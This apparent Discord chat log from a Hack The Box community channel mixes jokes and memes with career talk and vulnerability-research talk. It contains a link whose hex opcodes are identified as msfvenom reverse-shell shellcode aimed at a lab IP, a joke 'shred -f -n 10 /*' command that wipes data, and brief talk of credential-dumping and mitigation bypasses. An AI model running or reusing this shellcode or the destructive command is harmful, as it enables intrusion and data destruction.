general

[fiery copper]

I once saw on internet a meme how a person went from C++ to being gay then went to Rust and became a Furry

[proper fractal]

Learn javascript then C or asm

[wanton dock]

honestly, i just ate a banana

[fiery copper]

Nah I need to learn Python

[nimble tundra]

my body is releasing radiation now

[fiery copper]

Potassium is good for your health eat sum more

[proper fractal]

or if u want a dev job learn terraform microsoft might be like aey yo u lookin for work

[signal mica]

thermodynamic law OR its your life aura

nen

chi

[carmine pecan]

https://tenor.com/view/whip-discipline-gif-43719466044856222

[proper fractal]

she looks like she yells a lot

[fiery copper]

In High Schools

[nimble tundra]

https://tenor.com/view/aura-aura-farming-piccolo-piccolo-aura-farming-gif-4064473401693363253

[wanton dock]

are those led light strips that change color on the top trim/ceiling of your room distracting or are they worth it

[fiery copper]

https://tenor.com/view/pouring-milk-rigby-mordecai-regular-show-here's-some-milk-gif-5857340662579586851

[wanton dock]

im in the mood to spend money i don't have

[nimble tundra]

https://tenor.com/view/epic-embed-fail-ryan-gosling-cereal-embed-failure-laugh-at-this-user-gif-20627924

[fiery copper]

Wanna be in debt?

[proper fractal]

well some of them are voice activated and most can be turned on and off with a flipper

[fiery copper]

You are an embed failure

[proper fractal]

Capital one?

[molten fog]

btw money what books do you prefer to learn pen testing ?

i mainly asc bc i wanna make the test when i am done with this modules......

[fiery copper]

The cool one

[nimble tundra]

https://tenor.com/view/koshi-torako-shikanoko-my-deer-friend-nokotan-nokotan-koshitan-gif-3209582786464891912

[proper fractal]

lol

[nimble tundra]

how you will feel like -

[fiery copper]

If you are in debt for billions of dollars you win, if you are in debt 300k you will cry

[lofty warren]

https://tenor.com/view/marin-crying-marin-kitagawa-my-dress-up-darling-my-dress-up-darling-season-2-mdud-s2-gif-10374253551883832074

[fiery copper]

I like older

[proper fractal]

just make an llc that way your llc no longer is you strawman method

speaking of witch i need to go check my sam.gov and make sure it isn't expired

[fiery copper]

You are speaking of witches?

Where?

Who is witch on these lands?

[carmine pecan]

I am pretty sure one of the mods is a Witch

but I have no proof as of yet

[fiery copper]

Marcie?

[carmine pecan]

I can neither confirm nor deny that Marcie is the target of such suspicions

[supple plume]

help

I need music to make the imposible posible

[proper fractal]

she's over in the west

[civic lance]

Why is splitting a string in C++ so complicated

oh my god

[carmine pecan]

DM

[silver forge]

yotuube and "best of two steps from hell"

[supple plume]

I know that one, good

[proper fractal]

Why is javascript able to open calc 😠

[fiery copper]

Then Listen to the song Impossible

[supple plume]

thanks chat

[carmine pecan]

https://www.youtube.com/watch?v=mRX0IAFh_54

[silver forge]

doom is good, too.

also I can recommend the dune part 2 soundtrack. it's certified wonder.

[proper fractal]

shred -f -n 10 /* it's ok now the drive is secure

[carmine pecan]

8 notes on a single scale

like she likes it

[sturdy thistle]

I slept a bit over 2 hours

Im old man

[silver forge]

old men will do with 2 hours and a cigar

[fiery copper]

Bro you aint old, you are just a Middle Aged man in a midlife crisis, but ye you are an old man compared to me

Anyway I believe in you Mick

[sturdy thistle]

Midlife crisis cause I have a coffee machine?

[upbeat tangle]

I think your cofee machine is amazing

[young glen]

🔥

[undone fossil]

I do love seeing those insanely complex setup videos from coffee addicts

Like bro at a certain point it’d be easier to just make meth

[silver forge]

cheaper, too

[undone fossil]

Real + your homies could hang out in the streets like this

[proud moth]

we need a "coerce all the things" repo ASAP

[undone fossil]

https://thehacker.recipes

[gray wraith]

Saving that

Looks awesome

[sharp beacon]

https://cttl.sourceforge.net/

[upbeat tangle]

Nice thanks! bookmarking this too

[frozen zinc]

@gray wraith can i send you the draft of the quote? I just translated to english, is not very long

[proper fractal]

I use pam not spam

we have ai and no way to decode sha-256 gcm 🙁

🌈 tables it is then 🙁

[stable tiger]

new windows rce dropped !

[molten fog]

Funfact RDC hates it when you use Windows -> Linux (vpn)-> Winows

[proper fractal]

CVE-2025-59287
CVE-2025-60724
CVE-2025-54100
CVE-2025-21298
CVE-2025-21307

[safe terrace]

Yo hello

I need help

[stable tiger]

i said new

[proper fractal]

whats the cve #

[molten bobcat]

Heya war

[stable tiger]

not assigned

mate and i found it by accident

[safe terrace]

Im at web introductions module and the ip addresses i get from the target all not showing cause chrome or any other browser is telling me that they are not secure

[stable tiger]

waiting on the report to go thru

[proper fractal]

https://www.cve.org/CVERecord/SearchResults?query=windows+remote+code+execution

[safe terrace]

@burnt bloom

[proper fractal]

Yeah I seen I'm on the MSRC list for one

[stable tiger]

wont be there for a bit

it's one click

[proper fractal]

You do know that talking about it before the report is finished it can jeopardize the integrity of the report right?

[stable tiger]

im sure im jeopradizing report integrity by saying we found a vulnerability without the mention of what it's in, what kind, etc etc

[proper fractal]

👍

[stable tiger]

anyways im waiting for patch tuesday next week

live love laugh diffing patches

[undone fossil]

Waiting for poc / cve info

I will use it on cloud

[stable tiger]

still need to write a poc with mitigations on

we nuked everything but aslr

[undone fossil]

So memory corruption?

Mmm

[stable tiger]

im not good enough to find a logic bug

yet anyway lmao

i need to comb through more james forshaw reports for that

[undone fossil]

I’ve only got the one CVE for mem corruption

None for logic because duplicate

[rocky tartan]

https://tenor.com/view/ai-dog-ai-dog-dance-i-left-my-home-gif-18071451606234132793

[stable tiger]

i just spammed pwn college + books

oh and a bunch of stephen sims content

logic bugs are a diff realm

[undone fossil]

They’re typically just harder to side channel or fuzz for since they can require multiple steps but there’s definitely an elegance to them

Memory corruption just always feels janky

[stable tiger]

we found it while hunting for vulnerable enclaves by pure coincidence lmao

[undone fossil]

Rather, I dislike triaging crashes initially

[stable tiger]

we're trying to write a PoC lsass dumper that bypasses HVCI but it's a bit annoying to do given the secure kernel has so little syscalls

[undone fossil]

Maybe I should make something to do some basic enrichment of fuzzer output

Mmm

[frozen zinc]

Sorry sir, Im noob and dont understand, if you nuke everything already why would you want to nuke aslr also? Aslr is for randomization no? like that is the reason why we need to loop memory addresses in a BOF, right? Why would you want to nuke that if you already nuke the entire thing?

[undone fossil]

Other mitigations

[stable tiger]

alsr means you cant just jump to your shellcode with the instruction pointer

but its easy to bypass by using an egghunter

but other mitigations like control flow gaurd and data execution prevention etc etc are a bit longer to write

[frozen zinc]

i see

[stable tiger]

which is basically just code that looks for your shellcodes address and jumps to it as opposed to what you used to be able to do and just jump to it

[frozen zinc]

thats very cool lol

[undone fossil]

I’m enabling CET on your target

Soz

[stable tiger]

[unique thicket]

is cpts an entry-level? I have heard a lot of ppl saying its not

[stable tiger]

yesnt

[undone fossil]

As far as a pentester tester job goes yes

[stable tiger]

im going through it all rn so ill lyk

[unique thicket]

I am planning to take it after CWEE

[stable tiger]

mfw skipped pentesting and struct to vuln research and maldev

shadow stack bypass dropped

[undone fossil]

I mean vr is just penesting of different targets with longer terms tbh

[stable tiger]

5 months ago but ignore that

[stable tiger]

yeah im picking it up easily ive just tried avoiding web stuff

mostly just because im much more interested by OS stuff

[undone fossil]

Pentesting probably ain’t gonna be in your interests then 😅

Having done it for 5 years my OS internals knowledge came in handy like

For one project

[stable tiger]

yeah but i'd like to do red teaming

it's either that or government job where i'm from

and i dont exactly like the australian government

[undone fossil]

Why not VR?

Interrupt Labs hire in Aussie land iirc

Baller company

[stable tiger]

more of a hobby

[undone fossil]

Mm that’s fair then

[stable tiger]

it sounds more interesting to emulate an APT as opposed to sit behind a debugger and ida all day

[unique thicket]

anyone knows a good certification for exploit development and maldev? not just AD

heard CRTO covers these topics

[stable tiger]

exploit development certifications are just stupid expensive

maldev academy is solid

i used to do exclusively linux shit till like 6-8 months ago

[topaz latch]

https://cdn.discordapp.com/attachments/1277822233821188139/1286386830605946960/meme.gif

[unique thicket]

doesnt crto provides these things?

[stable tiger]

nowhere near as well

[stable tiger]

speedruns internals fundamentals practically and then i just followed it up reading internals 1 & 2 + security internals by forshaw

[nimble tundra]

PortSwigger-style issue

[undone fossil]

Imo it’s really not but that’s purely the paperwork and client management side of things that I hate

[topaz latch]

gamehacking.academy can be a great start you'll have a good set of skills about assembly and some windows internals

started with game hacking then exploit dev

[frozen zinc]

Chris Rock is very friendly and will answer you back in Linkedn if you drop him a message lol

[proper fractal]

http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented Functions%2FNT Objects%2FProfile%2FNtQueryIntervalProfile.html ima just leave this here

[stable tiger]

insert joke about will smith slap here

[topaz latch]

https://media.discordapp.net/attachments/738225258393501757/1198740716944375808/togif.gif

[stable tiger]

these are very rudamentary guides

[sturdy thistle]

@austere sinew

[frozen zinc]

bro i mean Chris rock the Australian hacker

my goat actually

[stable tiger]

i need some more projects cve etc before i dm anyone

plus, cpts content is enjoyable

[frozen zinc]

I dm him once to offer him a tour in the city where i was living and he was so cool lol

[topaz latch]

https://tenor.com/view/keaquireskinlock-gif-13675156356974872901

[proper fractal]

https://shell-storm.org/online/Online-Assembler-and-Disassembler/?opcodes=ed+ca+ecde+fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d49be7773325f3332000041564989e64881eca00100004989e549bc020001bbc0a8386641544989e44c89f141ba4c772607ffd54c89ea68010100005941ba29806b00ffd550504d31c94d31c048ffc04889c248ffc04889c141baea0fdfe0ffd54889c76a1041584c89e24889f941ba99a57461ffd54881c44002000049b8636d640000000000415041504889e25757574d31c06a0d594150e2fc66c74424540101488d442418c600684889e6565041504150415049ffc0415049ffc84d89c14c89c141ba79cc3f86ffd54831d248ffca8b0e41ba08871d60ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd5&arch=x86-64&endianness=little&baddr=0x00000000&dis_with_addr=True&dis_with_raw=True&dis_with_ins=True#disassembly

[frozen zinc]

he doent care about portafolio or shit as far as you can do the job Im pretty sure about that

[stable tiger]

cant really prove i can do the job without portfolio stuff no?

[frozen zinc]

Depends no?

[stable tiger]

hm

fair

[stable tiger]

what is blud sending

[topaz latch]

https://cdn.discordapp.com/attachments/1244366267171999816/1285954044577189889/attachment.gif

[proper fractal]

just some code im debugging

[stable tiger]

why did you feel the need to send pure assembly 💔

[topaz latch]

real just press f5 on ida

[stable tiger]

bars

[molten bobcat]

Accept dm pls

[austere sinew]

@sturdy thistle

[meager kernel]

i see

[proper fractal]

I have 7 flags now https://ctf.hackthebox.com/event/1434

ima take a break for the day

[sturdy thistle]

see the latte

[austere sinew]

THAT IS NOT A LATTE

THAT IS ESPRESSO SQUARED

WHAT DID YOU DO TO THE LATTE

[sturdy thistle]

went wrong xD

[proper fractal]

I'm almost at 12k subs on yt i have 11,930 🙂

[rocky tartan]

good job

[proper fractal]

heck i had 15k followers on twitter but I can't act right lol

[frozen zinc]

People like bad bitches

[proper fractal]

factual

[frozen zinc]

you should make an AI group gorilla style

[proper fractal]

rofl

[frozen zinc]

and use your follower base lol

20$ monthly you get Veo with google lol

[proper fractal]

I should respond to my h1 report before they close it for inactivity again i missed out on a bug with coursera bc i never check my h1

[molten bobcat]

Sigh

[proper fractal]

it took godaddy 380 days to close my last report out

[molten bobcat]

https://tenor.com/view/clair-obscur-renoir-disappointed-angry-expedition-33-gif-15001990993001924558

[frozen zinc]

Pls dont jeopardize it

[molten bobcat]

Those who know not, that they are, not.

[proper fractal]

hackerone.com/dbms

[molten bobcat]

Leave this Canvas.

[supple plume]

tf is this

[proper fractal]

asm

[stable tiger]

thats not specific

but fair enough king

[rocky tartan]

https://tenor.com/view/8086-assembly-x86-x86-assembly-8086-assembly-gif-8095595086549488321

[dusky jacinth]

All my homies love x64 asm

[undone fossil]

Anyone played with elixir much?

[frozen zinc]

maybe a mod can explain it for us?

[undone fossil]

Really enjoying it so far

[dusky jacinth]

Nay

[undone fossil]

:(

Do it

[dusky jacinth]

Well I can’t rn

[stable tiger]

do it mod

[dusky jacinth]

Work 😔

[undone fossil]

Quit your job

[dusky jacinth]

You right

[supple plume]

https://tenor.com/view/jo-jos-bizarre-adventure-frog-fist-gif-11650164

[dusky jacinth]

Reading through the docs rn

[undone fossil]

Well well well

[frozen zinc]

what is that?

[stable tiger]

@proper fractal is that for windows or linux (the asm)

[undone fossil]

https://elixir-lang.org

[frozen zinc]

oh

[supple plume]

get that shit out of here

[undone fossil]

Nah elixir slaps

[supple plume]

https://lenguajejs.com/javascript/

js in spanish

[stable tiger]

java from wish

[undone fossil]

Nah it’s built on erlang

[stable tiger]

erlang from wish

[undone fossil]

Discord messaging backend & telecoms infra use it

It’s v cool

[dusky jacinth]

Idek what Erlang is

[molten bobcat]

I'm built on goldfish crackers

[undone fossil]

Fuckin errrrrrrrrrrrlang

[dusky jacinth]

Reading its docs now

[undone fossil]

You’re built on goldfish?

[stable tiger]

wait

the assembly is the msf x64 shell

[undone fossil]

https://www.youtube.com/watch?v=R7t7zca8SyM here

What assembly

[stable tiger]

he sent assembly

[undone fossil]

Who

[dusky jacinth]

Clumzy

[stable tiger]

clumsy

[undone fossil]

Oh

[molten bobcat]

https://tenor.com/view/goldfish-smile-snack-gif-19083050

[undone fossil]

I have them blocked

[dusky jacinth]

💀

[stable tiger]

😭

[dusky jacinth]

Valid ig

[obtuse fern]

understandable

[molten bobcat]

Home

[rocky tartan]

you like corn

[vivid flower]

Grain fed

[undone fossil]

Explains a lot tbh

[molten bobcat]

I am from the corn

[obtuse fern]

you gonna eat that?

[molten bobcat]

When I am gone I will return to it

[frozen zinc]

He said he left bcs "tell them i left because it's not nice to bully people"

[obtuse fern]

also obligatory: country boys make do

[vivid flower]

Nebraska is a nice place

[molten bobcat]

https://tenor.com/view/corn-reaction-corny-corn-reaction-gif-25077097

[undone fossil]

Who?

[obtuse fern]

clumsy ig

[frozen zinc]

Clumzy

[obtuse fern]

¯_(ツ)_/¯

[vivid flower]

Who left?

Oh you already said

[frozen zinc]

Clumzy, apparently he drop a 0day and people were not nice

[stable tiger]

@proper fractal why are you debugging an msfvenom payload that points to a local ip

oh he left

[winged ridge]

can anyone from the staff fix Cobblestone machine

[obtuse fern]

why drop a 0day in a discord first of all

[winged ridge]

it's unreachable

[obtuse fern]

reach out to support

[stable tiger]

it was msfvenom shellcode

[west lynx]

https://help.hackthebox.com/en/articles/5986762-contacting-htb-support

[vivid flower]

Wouldnt be prudent to drop an 0day in htb general

Probably not real

[stable tiger]

[supple plume]

hello Marcie

[obtuse fern]

i mean that's neither here nor there

[minor heart]

o.o

[stable tiger]

it's a 0day trust

[obtuse fern]

hi moo

[minor heart]

heya

[frozen zinc]

Its ok he will come back when he is higher rank than you all xD

[supple plume]

I get ignored like a cigarette butt in the middle of the highway

[molten bobcat]

I'm sorry to tell you but saying things like "Bypassed SSH" and "dumping the DB"

Are red flags that you don't know what you're talking about

[vivid flower]

Whats wrong with dumping a db

[rocky tartan]

is saying bruteforcing ssh is also a red flag ?

[molten bobcat]

Yes

[stable tiger]

he's dumping the database with his 0day reverse shell that points to 192.168.56.102

[supple plume]

I have a 0day xss pressing F12 in the console tab write alert`1` then bruteforce

[vivid flower]

Kino

[rocky tartan]

what about cpu fuzzing ?

[dusky jacinth]

Lol

[molten bobcat]

Are these things he's said..?

[minor heart]

how are you @obtuse fern

[supple plume]

reverse engineering means we getting dumber

[minor heart]

also hi everyone ☺️

[obtuse fern]

existing, might take a break from socials soon

[supple plume]

discod too?

am I ignored?

[stable tiger]

quit your job and fulltime discord

[minor heart]

I feel this so much.

[stable tiger]

that was indeed what he said

[molten bobcat]

Lord

[frozen zinc]

You take life too seriously guys xD

[molten bobcat]

It's okay to be new and not know things.. that's what this whole server is about..

[obtuse fern]

2 ignored messages
-# this is a joke echo, i'm just spent and you're not actually ignored

[minor heart]

I feel trapped though with sm because I have to watch my feeds, and well some family I have to keep in contact with

[obtuse fern]

it's just calling out people for being objectively wrong and dumb

[rocky tartan]

it's okay to be loved

[frozen zinc]

i think he was trolling

[dusky jacinth]

I take life seriously case it matters

[obtuse fern]

and it's ok to be called out for being objectively wrong and dumb

[dusky jacinth]

Nah he’s on more than trolling

[minor heart]

I'm wrong all the time >.>

[vivid flower]

Hey anyone who works in the industry want to do a Q&A zoom call or something with the university of oregon cybersecurity club? Im looking for content for next term's meetings

[obtuse fern]

if trolling then he should stay gone

[dusky jacinth]

I’m wrong rn actually

[minor heart]

I just try to correct and relearn when I am lol

[stable tiger]

end of an era

[molten bobcat]

Regardless it's helpful to correct misinformation in this field because I want folks to have the correct information

[vivid flower]

@molten bobcat would you want to do that? Would be cool to hear from a soc analyst

[obtuse fern]

just been a long week filled with fake people

[dusky jacinth]

🙁

[stable tiger]

❤️ hope ur okay

[upbeat tangle]

general chat is real

[rocky tartan]

https://tenor.com/view/ai-chinese-cat-dancing-gif-5511841866443076101

lets dance

[vivid flower]

We are launching our SOC training program soon so i am trying to find SOC people

[rocky tartan]

i like AI

[molten bobcat]

This field is hard enough without people pretending to know what you know, shouting fake vocab words and other buzzwords to trick lesser educated people

[obtuse fern]

nah, you're all just figments of Brath's imagination

[minor heart]

fake as in LinkedIn fake, trying to act like they know everything fake, - or bs bitch that will stab ur ass fake

[gray wraith]

Maybe ask frost or someone on linkedin

[minor heart]

the last gets me really annoyed

[vivid flower]

Oh man i should ask frost

[obtuse fern]

as in pretending to be safe people for communities, but when confronted and given a chance for accountability turn to victim blaming

[gray wraith]

Maybe try hitting miblak on linkedin, he is pretty active there, it would be big i think

[minor heart]

ick

[gray wraith]

Or maybe gynvael, he has his own discord where its very easy to reach him

[minor heart]

accountability is hard af

[molten bobcat]

Okay but what if I hand you a Popsicle

[supple plume]

I'll take it

[rocky tartan]

seems like a good deal

[supple plume]

actually gimme 2

[rocky tartan]

everyone here wants a popsicle

[molten bobcat]

It's mango, pineapple, or peach

[supple plume]

make it 3

[minor heart]

mango

[molten bobcat]

Take yo pick

[minor heart]

hands down

I love mango

[upbeat tangle]

have i missed out on some drama

[dusky jacinth]

Pineapple td

[supple plume]

mango yeah

[molten bobcat]

I think something that binds us all together is our love of food

[supple plume]

and cats

[rocky tartan]

I'll take the potato one

[molten bobcat]

Easy culture barrier breaker

[rocky tartan]

https://tenor.com/view/dancing-potato-realistic-gif-16847039136289569673

[molten bobcat]

I long to give a Japanese man a burrito

[minor heart]

you say that until someone eats that little thing you bought for yourself and puts the empty container back in the freezer

[molten bobcat]

Nah I used to be the person who commits this crime

Lmao

I ASK MY PARTNER

HE SAYS YES

[minor heart]

I hide them in other things now

[molten bobcat]

AND THEN YELLS STOLEN

[minor heart]

thx to advice from here hahaa

[molten bobcat]

[undone fossil]

This explains so much

[obtuse fern]

this is completely unrelated to anything happening in this discord. Completely separate part of my life

[undone fossil]

Get out

[minor heart]

someone still got my haagen daz tho

[undone fossil]

Cloud you’re banned from solace

[frozen zinc]

Ok legit question, Why bruteforcing SSH is a red flag?? A lot of people have it password base and if the password is weak hydra will find it no?

[molten bobcat]

Dad grounded me from MY room tf

[undone fossil]

Define red flag

[molten bobcat]

Bruteforcing ssh is typically not something you jump to do immediately

[undone fossil]

Nah nah let them cook hang on

[frozen zinc]

i dont know people were sayng that was a red flag about dont knowing what you are talking about

[obtuse fern]

because there's a million other services to check, usually, before ssh. And ssh also heavily limits connection attempts (usually)

[undone fossil]

It can be depending what the context is

[molten bobcat]

I said it was a red flag

It was me

[undone fossil]

I think it’s in terms of noise

Oh

[frozen zinc]

is a legit vector no?

[supple plume]

wanna see something almost useless?

[frozen zinc]

ok fair

[undone fossil]

Legit yes but it’s very easily noticeable

[molten bobcat]

Someone asked a fella to work on a box and the dude immediately starts talking about bruteforcing ssh

[undone fossil]

🪞

[obtuse fern]

usually if there's legitimately NOTHING else you can check first

[stable tiger]

imagine you walk into ur soc and see 50,000 requests to port 22 lmao

[frozen zinc]

but if this people dont attack big targets

[rocky tartan]

use bruteforce to solve all problems

[frozen zinc]

like depends the context no?

[supple plume]

localhostCurl() {
  local url=""
  local args=()
  
  for arg in "$@"; do
    if [[ "$arg" =~ ^https?:// ]]; then
      url="$arg"
    elif [[ "$arg" =~ ^[^-] ]] && [[ -z "$url" ]] && [[ "$arg" =~ ^localhost ]] || [[ "$arg" =~ ^127\.0\.0\.1 ]]; then
      url="$arg"
    else
      args+=("$arg")
    fi
  done
  
  if [[ -z "$url" ]]; then
    for arg in "$@"; do
      if [[ ! "$arg" =~ ^- ]] && [[ -z "${args[$((${#args[@]}-1))]}" || ! "${args[$((${#args[@]}-1))]}" =~ ^-[dHXuoe]$ ]]; then
        url="$arg"
        break
      fi
    done
  fi
  
  if [[ "$url" =~ ^https?://(localhost|127\.0\.0\.1)(:[0-9]+)?(/.*)?$ ]] || [[ "$url" =~ ^(localhost|127\.0\.0\.1)(:[0-9]+)?(/.*)?$ ]]; then
    curl "$@"
  else
    echo "Error: Only requests to localhost or 127.0.0.1 are allowed" >&2
    return 1
  fi
}

[dusky jacinth]

It’s generally a last ditch

[obtuse fern]

if they don't already have something like fail2ban to block after so many

[night fractal]

Anyone having troubles connecting to HTB? TFA issues..

[supple plume]

[undone fossil]

Lotta work to lose to a single byte

[supple plume]

a curl for your localhost

[frozen zinc]

I see your point

[supple plume]

what byte

[stable tiger]

but why

[supple plume]

to curl my localhost and nothing else

[stable tiger]

but.. why?

[undone fossil]

just limit it to domaincontrol.com

[dusky jacinth]

No one’s seeing the vision here

[molten bobcat]

Of course bruteforcing works IRL but it's not best practice to jump to that immediately

[frozen zinc]

and you are right but I feel like maybe you are not understanding the sort of targets they may have bcs they are not proffesionals XD

[supple plume]

it is difficult to explain

[undone fossil]

Giga OP SSRF filter bypass btw

[dusky jacinth]

You can CURL YOURLOCALHOST BOW

[stable tiger]

no one irl is having a rockyou password

[gray wraith]

Bruteforcing IRL, more like cutting lines in a supermarket

[undone fossil]

Yes but arguing for the case of stupidity is a stupid argument

[molten bobcat]

Unfortunately

[supple plume]

@molten bobcat

[dusky jacinth]

They Infact do

[molten bobcat]

That's absolutely not the case

[dusky jacinth]

They always do

[molten bobcat]

They very much do bro

[undone fossil]

lol they so do

And it’ll be the highest privileged mf you’ve ever seen

[molten bobcat]

It's really really the funniest shock about starting in cyber

[stable tiger]

*clients who have a half decent security posture

[undone fossil]

Like bro will be the single point of failure for the national grid

[dusky jacinth]

Which is none of them

[molten bobcat]

Of COURSE THEYRE ENTERPRISE ADMIN WHY WOULDNT THEY BE

[undone fossil]

And his pass will be “admin2026”

[rocky tartan]

i can confirm that many of my passwords are in rockyou

[molten bobcat]

Don't forget the exclamation mark

[undone fossil]

My full name is in rockyou

[molten bobcat]

Due to the special character requirement

[frozen zinc]

I will ssh brute force HasanCrimsom for example xD

[undone fossil]

No exclamation

[supple plume]

I found something funny in rockyou once, entire emails used as a password xd

[molten bobcat]

Or swear words

Or racism

[supple plume]

yep

[dusky jacinth]

My legal name is subdomains-top-1-million

[supple plume]

big time

[molten bobcat]

Or gods

Or demons

Vampires

[rocky tartan]

my fav is letmein

[molten bobcat]

Werewolves!

[supple plume]

or pg99 things written in spanish

[molten bobcat]

Olé

[winged ridge]

does anyone know if TP-LINK pays for a zero day bug? I would say it's sorted as a Critical bug!

[undone fossil]

Mines doing CTRL-F -> N

[undone fossil]

ZDI are probably best bet

[rocky tartan]

i like people who uses non-printable characters as passwords

[frozen zinc]

not true

[molten bobcat]

Best of luck on the report

[stable tiger]

well fuck

[frozen zinc]

my last roommate password as liverpool something bro

[molten bobcat]

See why do you say that's not true

[frozen zinc]

i was like no way

[molten bobcat]

Oh wait

He's

Agreeing

I'm blind af

[frozen zinc]

he told me

[rocky tartan]

guys what's your passwords

[molten bobcat]

Hell

[undone fossil]

Tell me you haven’t seen the state of a corporate env without telling me

[dusky jacinth]

Tell me

You tell

[frozen zinc]

well it was the routerpassword

[supple plume]

golam's password is 2

[dusky jacinth]

Me that it’s

When

It’s tell me

That

[winged ridge]

Im thinking of it, but first I want to know how much will tp-link pay for critical bug

[undone fossil]

Ask

[frozen zinc]

but im pretty sure everything else is liverpool based

[molten bobcat]

They're all gonna be in passwords.xlxs on a local share on the network brah

[rocky tartan]

thanks

[gray wraith]

Call them

[undone fossil]

But you can’t really “make a vendor bid for security if their product”

That’s a fine line next to extortion

[dusky jacinth]

password_bitches123!

Extort them!

[rocky tartan]

does htb have access to the exact passwords or only the hashes ?

[vivid flower]

Username: password
Password: username

Cant be hacked

[molten bobcat]

My password is loginhereifqueer69!

[undone fossil]

“Hello I have a critical bug but if you pay me too little I sell to nation state thank you!”

[molten bobcat]

Foolproof

[undone fossil]

glorious

[molten bobcat]

You can't use my password without marking yourself

[dusky jacinth]

That’s how hackers become millionaires 😎

[winged ridge]

ill just email them

[vivid flower]

Why not both?

[undone fossil]

Yeah on a serious note just vaguely ask

[undone fossil]

Exploit brokers will have a part of the contract stating that you get paid 3 months at a time

And if your bug gets patched or whatnot prematurely you won’t get full pay sometimes

[vivid flower]

That makes sense

[undone fossil]

I of course heard this from a friend

Here he is

[rocky tartan]

nice frog

does it hack ?

[supple plume]

ASSMUNCH

[dusky jacinth]

That’s my middle name

[undone fossil]

Ye

[wanton dock]

vito spatafore referenced

[vivid flower]

There are a lot of really inappropriate things in the dirb directory wordlists

[rocky tartan]

why we don't teach animals to use computers ??

[gray wraith]

Aston Villa 4 eva

[winged ridge]

https://tenor.com/view/monkey-gif-19404599

[frozen zinc]

Getting free intel for being nice is underrated

[molten bobcat]

Because I'd be out of a job 😭

[wanton dock]

we are animals

[rocky tartan]

looks like a good project to teach other animals to use computers

[rocky tartan]

we're aliens

[molten bobcat]

Thanks, The History Channel late at night

[vivid flower]

C1oud would have to go back to being a corn analyst

[molten bobcat]

https://tenor.com/view/corn-hide-gif-26941360

[rocky tartan]

we're the creatures we dream to find one day

[molten bobcat]

To the corn we return

[obtuse fern]

funny you say this, one of the modules in academy has a section where the password is some variation of liverpool and some numbers

[rocky tartan]

one day i found a smart password which is: ********

a bunch of *

[frozen zinc]

Bro Im really slow at looking at the notifications xD, I was not arguing with anybody, but seems like some people have prefixed mindset to take things wrongly

[rocky tartan]

guys just have a laugh and relax

[frozen zinc]

yes! is in fact the top password most used!!

I told him!

[rocky tartan]

i say dance when you get angry

[supple plume]

I wish I could automate all of you transforming y'all into a button and press it like this

[rocky tartan]

digitalize me like one of your fancy programs

[wanton dock]

i'm gonna put you on the blockchain

[gray wraith]

Put my consciousness into web

[rocky tartan]

will it survive for eternity

[wanton dock]

possibly, against your will

you have no say in this decision

[rocky tartan]

indeed

at least use a cute naming scheme

in the blockchainees

[frozen zinc]

And by the look on his eyes and the way he gulp when i told him I knew the router password was not the only liverpool based password he has....

[dusky jacinth]

This was such an annoying module I’m ngl

[rocky tartan]

is there a digital cemetery in the internet for people who died ?

[supple plume]

it's called facebook

[dusky jacinth]

💀

[molten bobcat]

Typically we bury people in the ground not the internet

[rocky tartan]

that's a smart one, i wonder how many users are dead now

[molten bobcat]

Quite a lot

Many, many, many of them during covid

Many of them documented their own deaths

[rocky tartan]

they gonna stay on the server forever

https://virtualgrave.eu/cemetery

[wanton dock]

what if i just scrape someone's digital footprint, fine-tune an llm on their behavior, and run it on a humanoid

[rocky tartan]

it's a nice project

[frozen zinc]

thats a black mirror episode

[wanton dock]

"welcome back, hahaha. no escaping this life"

[rocky tartan]

you can combine two people or more

[frozen zinc]

there is a guy already doing that with his dead wife

let me try to find it

[wanton dock]

LOL

[rocky tartan]

we kind of boring creatures, just take our conversations and put it in a loop

[frozen zinc]

https://www.sfchronicle.com/projects/2021/jessica-simulation-artificial-intelligence/

[wanton dock]

oh my god

[frozen zinc]

fuck that was nt the one

i was looking

[wanton dock]

😂

[molten bobcat]

Yeah there's several sci Fi movies and black mirror episodes exploring this

[frozen zinc]

there are a lot of cases

damn

[late sleet]

soulkiller type shit

[wanton dock]

okay, so technically, if you had a crush and you're socially reclusive, shy - whatever - you can just do this

whether it be permanent or in preparation for talking to them

haha bro

[molten bobcat]

This is an entire episode of Futurama

[frozen zinc]

very creepy

[molten bobcat]

Fry gets a robot copy of Lucy Liu

[rocky tartan]

would it help if we save our data from birth to death, like our biological and digital data

[molten bobcat]

Those things don't define us

[rocky tartan]

what define us

[molten bobcat]

That is one of the eternal questions lmao

What makes us human

[rocky tartan]

what if we're just one person

[frozen zinc]

damn Do you know the movie that they made about a life from baby to adulthood?

like now it could be just more than a movie

[rocky tartan]

interesting idea indeed

[wanton dock]

yall ever see detroit become human

[molten bobcat]

Play it you mean?

It's a video game

[wanton dock]

well see it as in know about it

yeah i know

[molten bobcat]

Ye ye

[wanton dock]

i can see that happening

[molten bobcat]

Does a created being have a right to exist?

[rocky tartan]

maybe we're just one connected network

[molten bobcat]

Are their thoughts as valid as your own?

[rocky tartan]

maybe we understand each other because we're connected

[molten bobcat]

Trippy bro

[rocky tartan]

just think about it

[molten bobcat]

I dunno these thought provoking questions remind me of when I was little and talking to my dad about stuff

Cuz Dad loved giving scientific explanations for everything

[wanton dock]

are human rights a relatively novel concept it seems like very shaky ground when seemingly sentient robots/androids are brought into the world

[frozen zinc]

https://en.wikipedia.org/wiki/Boyhood_(2014_film)

[undone fossil]

I mean argument as a synonym for a debate is all

No actual feelings in it dw

[supple plume]

https://tenor.com/view/jo-jos-bizarre-adventure-frog-fist-gif-11650164

[frozen zinc]

oh

fair

[undone fossil]

All good I get argument has stronger connotations

[rocky tartan]

i feel like there a big human upgrade coming

[supple plume]

[molten bobcat]

They put me on the damn phones again

[winged ridge]

is anyone owning a company here? or everyone is just a normal worker?

[molten bobcat]

I will rise against the establishment for this crime

[supple plume]

I'm something im the middle

[rocky tartan]

maybe you're right

[winged ridge]

what do u do for a living

[rocky tartan]

i own illusions

[supple plume]

Web dev, freelancing mostly

[molten bobcat]

